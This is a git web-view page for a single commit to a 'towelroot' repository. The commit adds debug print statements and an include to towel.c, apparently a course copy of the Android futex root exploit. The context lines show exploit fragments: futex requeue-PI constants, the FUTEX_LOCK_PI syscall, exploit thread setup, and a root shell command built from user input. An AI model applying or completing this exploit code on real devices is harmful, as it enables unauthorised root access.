aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorzzhou007 <zzhou007@ucr.edu>2016-11-08 15:04:00 -0800
committerzzhou007 <zzhou007@ucr.edu>2016-11-08 15:04:00 -0800
commit5d4295da58528fc8fc658eb7331df71630031f7c (patch)
treec7111e85a97efba954cc04225fc79490e2dbbc85
parent519bfd8b00955e562088a2e7be5be0d02721cdaa (diff)
downloadtowelroot-5d4295da58528fc8fc658eb7331df71630031f7c.tar.gz
towelroot-5d4295da58528fc8fc658eb7331df71630031f7c.tar.bz2
towelroot-5d4295da58528fc8fc658eb7331df71630031f7c.zip
added prints for clearity
-rw-r--r--towel.c11
1 files changed, 9 insertions, 2 deletions
diff --git a/towel.c b/towel.c
index 05fb495..71bb2fc 100644
--- a/towel.c
+++ b/towel.c
@@ -11,6 +11,8 @@
#include <fcntl.h>
//179change added to check syscall error
#include <errno.h>
+//179change added to use sleep syscall
+#include <unistd.h>
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
@@ -570,7 +572,9 @@ void *search_goodnum(void *arg) {
unsigned long addr, setaddr;
int i;
char buf[0x1000];
-
+
+ //179change print
+ printf("futex_lock_pi \n");
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
while (1) {
@@ -811,7 +815,7 @@ void init_exploit() {
sleep(10);
}
}
-
+
pthread_mutex_lock(&done_lock);
pthread_create(&th2, NULL, search_goodnum, NULL);
pthread_create(&th3, NULL, send_magicmsg, NULL);
@@ -824,6 +828,9 @@ int main(int argc, char **argv) {
if (argc >= 2) {
snprintf(rootcmd, sizeof(rootcmd) - 1, "/system/bin/sh -c '%s'", argv[1]);
}
+
+ //179change print
+ printf("init_exploit() \n");
init_exploit();